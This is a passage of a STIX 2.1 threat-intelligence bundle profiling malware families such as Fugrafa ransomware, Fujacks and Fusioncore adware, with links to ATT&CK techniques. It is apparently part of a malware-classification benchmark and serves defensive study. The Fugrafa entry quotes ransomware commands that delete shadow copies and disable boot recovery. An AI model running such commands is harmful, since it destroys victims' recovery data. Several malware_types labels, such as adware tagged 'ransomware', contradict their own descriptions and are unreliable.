      "id": "relationship--32b5ca78-e444-5a8a-89b8-8a62547ebbd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fuerboos exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4873cc4-c837-592d-a526-3c494bd6b218",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fuerboos exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7d573c0-2c01-5657-9458-08e6974c742c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fuerboos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dac2db91-7971-5070-9449-cc1e85631d85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fuerboos exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7fbebdd-2538-5853-98b0-c78ce1d9e395",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fuerboos exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47b64b3e-f5ef-5b26-99df-3632135c9efd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fuerboos exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c1de1347-66a9-5f8b-848a-2bfc551e398f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fuery",
      "description": "Fuery (cataloged across endpoint security telemetry under signatures including Trojan:Win32/Fuery, Trojan:Win32/Fuery.A!cl, and Trojan.Fuery) is a prominent cloud-based heuristic detection by Microsoft Defender identifying stealthy polymorphic trojans, droppers, and backdoors active since 2017. Binaries flagged under the Fuery signature employ advanced evasive techniques such as process hollowing into svchost.exe, dynamic API resolution via PEB hashing, and anti-debugging checks to bypass static file scanners and automated sandbox analysis. Fuery droppers are frequently deployed in cybercrime campaigns to establish initial endpoint access, download secondary payloads (including information stealers and ransomware), and disable local security tools. (Observed samples in benchmark: 28)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Fuery",
        "Trojan:Win32/Fuery.A!cl",
        "Trojan:Win32/Fuery.B!cl",
        "Win32/Fuery",
        "Trojan.Fuery"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fuery",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fuery"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2357570f-e822-58d0-8734-aafe9c33818a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fugrafa",
      "description": "Fugrafa (classified in antivirus telemetry under signatures including Ransom:Win32/Fugrafa, Trojan-Ransom.Win32.Fugrafa, and Win32/Fugrafa) is a targeted Windows crypto-ransomware family designed for rapid local disk and corporate network share encryption. Propagated through weaponized email phishing links, software crack archives, and malicious download aggregators, Fugrafa conducts thorough pre-encryption system reconnaissance. It executes shell commands via cmd.exe to purge volume shadow copies ('vssadmin delete shadows /all /quiet'), suppress system startup recovery options ('bcdedit /set {default} bootstatuspolicy ignoreallfailures'), and terminate running database and mail services. Fugrafa then encrypts files across local storage drives and mounted network shares using AES-256 in CBC mode, appending the '.fugrafa' extension to locked files. It secures the AES symmetric session key using an embedded 2048-bit RSA master public key and creates ransom notes ('FUGRAFA_README.txt') across all processed directories with instructions on contacting operators via Tor. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Fugrafa",
        "Trojan-Ransom.Win32.Fugrafa",
        "Win32/Fugrafa",
        "Ransom.Fugrafa",
        "Fugrafa Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fugrafa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fugrafa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d692e2e1-7a17-5416-8912-b6be63aac3d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fujacks",
      "description": "Fujacks (cataloged across security vendors and threat intelligence databases under signatures including Virus:Win32/Fujacks, Worm.WhBoy, and famously known as the 'Panda Burning Joss Sticks' virus) is a legendary, highly destructive Windows PE file infector and worm created in 2006 by Chinese programmer Li Jun. Propagating aggressively across local drives, network SMB shares, and removable USB storage devices, Fujacks infects Windows executable (.exe, .scr, .pif) files by prepending its malicious viral code. Most notoriously, Fujacks modifies the resource sections of infected executables, replacing original application icons with a cartoon panda holding three burning sticks of incense (joss sticks). Fujacks terminates antivirus processes, deletes system ghost backups, steals gaming and messaging credentials, and downloads secondary malware from remote servers. (Observed samples in benchmark: 41)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Fujacks",
        "Worm.WhBoy",
        "Panda Burning Joss Sticks",
        "W32/Fujacks",
        "Virus.Win32.Fujacks"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fujacks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fujacks"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--52f4875b-f483-5154-b389-6a7faa855b5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fullscreen",
      "description": "Adware:Win32/Fullscreen is an aggressive, highly disruptive Potentially Unwanted Program (PUA) and adware family designed to monetize an infected endpoint by forcefully injecting massive, full-screen advertisements into the user's web browser or directly onto the Windows desktop, regardless of what the user is doing.<br><br><b>Understanding Fullscreen Adware</b><br>To an end-user, a Fullscreen infection renders the computer nearly unusable. The adware completely hijacks the screen real estate, constantly interrupting workflows with unavoidable, full-screen pop-ups that are often difficult to close. For a security analyst, this represents a severe degradation of endpoint functionality and a significant risk of secondary infections, as these aggressive ads frequently employ malvertising to deploy actual trojans or ransomware.<br><br><b>Execution and Disruption Mechanics</b><br>Fullscreen is typically distributed via deceptive software bundlers (`T1189`) found on torrent sites or third-party freeware portals. Upon execution (`T1204.002`), it establishes deep persistence, often creating multiple randomized Scheduled Tasks (`T1053.005`) and Registry Run keys to ensure it survives reboots. It utilizes hidden browser extensions (`T1176`) or standalone adware processes to intercept web traffic and inject its payload. It deliberately uses Windows UI APIs (`T1562`) to force the advertisement windows to stay 'always on top' and maximize to full screen, maximizing the chance the user accidentally clicks the ad and generates affiliate revenue.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total loss of user productivity and the high risk of secondary malvertising infections. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known, aggressive adware affiliate networks. EDR logs will flag the installation of the rogue Scheduled Tasks and the constant launching of hidden browser instances or unknown executables attempting to draw full-screen UI elements. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fullscreen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fullscreen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--343f22de-dfa8-5df9-a7a9-00e2e8350b03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52f4875b-f483-5154-b389-6a7faa855b5b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fullscreen exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8edeef9e-40e1-544c-98c6-21a4c6a36e11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52f4875b-f483-5154-b389-6a7faa855b5b",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fullscreen exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Persistence for pop-ups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddb27e18-2da8-5fd4-9146-ff6cc1941519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52f4875b-f483-5154-b389-6a7faa855b5b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fullscreen exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--088d0146-34f7-55db-a084-fd9cce222961",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52f4875b-f483-5154-b389-6a7faa855b5b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fullscreen exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c39dc7a9-e630-565d-a06f-8b3dc581b9ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Funmood",
      "description": "<h3>Executive Summary</h3>\nFunmood (often seen as Funmoods Toolbar) is a highly prevalent family of Potentially Unwanted Programs (PUPs) and aggressive Browser Hijackers. Originally marketed as a fun utility providing custom emojis, cursor themes, and wallpapers, its true objective is to forcefully take over the user's web browsers, redirecting all search traffic to affiliate networks to generate illicit ad revenue and harvesting user telemetry.\n\n<h3>Distribution and Technical Behavior</h3>\nFunmood was notoriously distributed via aggressive software bundling. It was frequently hidden within \"free\" software installers, screensavers, or disguised as a necessary plugin update on untrustworthy download portals.\n\nOnce executed, Funmood deeply integrates with installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> Funmood replaces the browser's default search engine, homepage, and new tab settings (typically routing traffic through `search.funmoods.com`). This redirection allows the operators to intercept queries and serve heavily sponsored, often deceptive, search results.</li>\n<li><strong>Toolbar/BHO Installation:</strong> The software installs a visible toolbar or a hidden Browser Helper Object (BHO) in Internet Explorer and extensions in Chrome/Firefox. These components track the user's browsing history and inject disruptive banner ads and pop-ups into legitimate websites.</li>\n<li><strong>Persistence:</strong> Funmood utilizes Windows Registry modifications to ensure its toolbar is loaded every time the browser starts, and it actively resists user attempts to change the homepage back to its default state.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Funmood does not actively encrypt files or steal banking credentials, it introduces massive operational friction and severely degrades the user experience. The constant tracking of search habits presents a privacy risk, and the injected advertisements are frequently served by low-reputation networks, increasing the likelihood of \"malvertising\" attacks.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a system scan, targeting the Funmood executables and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove the Funmoods extension/toolbar from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked search settings and BHOs.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved \"customization\" software that is the primary vector for this hijacker.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Funmoods",
        "PUP.Funmood",
        "BrowserModifier:Win32/Funmoods"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Funmood",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/funmood"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9048b76-5dab-535e-8f12-9267a7209c9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c39dc7a9-e630-565d-a06f-8b3dc581b9ff",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Funmood exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bb485fb-aacc-5376-986c-940cf273e45f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c39dc7a9-e630-565d-a06f-8b3dc581b9ff",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Funmood exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e5f75bc-11b9-5f5f-b61a-5a593f705dd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c39dc7a9-e630-565d-a06f-8b3dc581b9ff",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Funmood exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35d4b124-0c17-59ca-9869-7c3b45fa5464",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c39dc7a9-e630-565d-a06f-8b3dc581b9ff",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Funmood exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5706fa60-7f7e-51f0-b314-a7c45633f319",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Funshion",
      "description": "Funshion (classified across endpoint security engines under signatures including Adware:Win32/Funshion, PUA:Win32/Funshion, and PUP.Optional.Funshion) is a widely distributed Chinese peer-to-peer (P2P) streaming media client and software bundler developed by Beijing Funshion Online Technologies. Marketed as a media acceleration and streaming video application, Funshion bundled aggressive advertising software, third-party browser plugins, and monetized background download engines. Even when the media player is closed, Funshion leaves background service processes running that consume significant network bandwidth for P2P distribution, display pop-up and banner advertisements, alter default browser search preferences, and report endpoint telemetry to remote advertising syndication servers. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Funshion",
        "PUA:Win32/Funshion",
        "PUP.Optional.Funshion",
        "Win32/Funshion",
        "Funshion Media Player",
        "Adware:Win32/Funshion.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Funshion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/funshion"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fusioncore",
      "description": "Fusioncore (cataloged by Microsoft Defender as Adware:Win32/FusionCore, PUA:Win32/FusionCore, and SoftwareBundler:Win32/FusionCore) is a pervasive commercial software bundler framework and potentially unwanted application (PUA) monetization platform active since 2016. Operating within the Pay-Per-Install (PPI) monetization ecosystem, Fusioncore is integrated into installation packages for popular repackaged freeware applications, video file converters, and torrent software clients. During execution, the Fusioncore module quietly transmits hardware configuration, operating system locale, and telemetry parameters to backend monetization servers. It dynamically generates deceptive installation screens employing dark patterns, pre-selected checkboxes, and ambiguous opt-out prompts to coerce users into accepting third-party software bundles. In the background, Fusioncore installs unauthorized browser extensions, alters default search engines to sponsored landing portals, creates persistent desktop advertising shortcuts, and deploys registry watchdog entries to resist removal. (Observed samples in benchmark: 104)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/FusionCore",
        "PUA:Win32/FusionCore",
        "SoftwareBundler:Win32/FusionCore",
        "Adware.FusionCore",
        "Win32/FusionCore"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fusioncore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fusioncore"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f60ef837-c699-5d8b-809d-ba3dde6f80b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fusioncore exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd76914f-3fe8-5c5d-8353-dd72bde36f1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fusioncore exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9634058-fa8e-59a4-b7ac-765c04c9f916",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fusioncore exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce24ad4a-fbd3-59c3-ad1a-59f872a8a24a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fusioncore exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed778f08-5304-5551-972e-954aa76a6589",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fusioncore exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3053adea-05f2-5bc4-8318-8b20c8478b48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbc52a9-7158-5a5f-9512-3d80be203ecc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fusioncore exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--128c57e5-ad81-571c-a4d5-4cfec58fafff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fwwy",
      "description": "Trojan:Win32/Fwwy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fwwy</b><br>To an end-user, a Fwwy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fwwy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fwwy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fwwy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fwwy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fwwy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fwwy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccc4f68f-342d-5f2c-a191-101280010d29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128c57e5-ad81-571c-a4d5-4cfec58fafff",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fwwy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--975cf3ec-63a4-5553-bdf0-6537989395c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128c57e5-ad81-571c-a4d5-4cfec58fafff",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fwwy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bcdbe69-ec1c-55ea-a002-ea84c69bf887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128c57e5-ad81-571c-a4d5-4cfec58fafff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fwwy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--705edf15-a016-551d-85fc-48cfdf8cc751",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128c57e5-ad81-571c-a4d5-4cfec58fafff",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fwwy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f0487f2-1961-540d-bb72-b67ebfcf21af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128c57e5-ad81-571c-a4d5-4cfec58fafff",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fwwy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b1fb16d-86ca-5154-8ac2-f9bba2834f54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fz4Aaueo2Jhi",
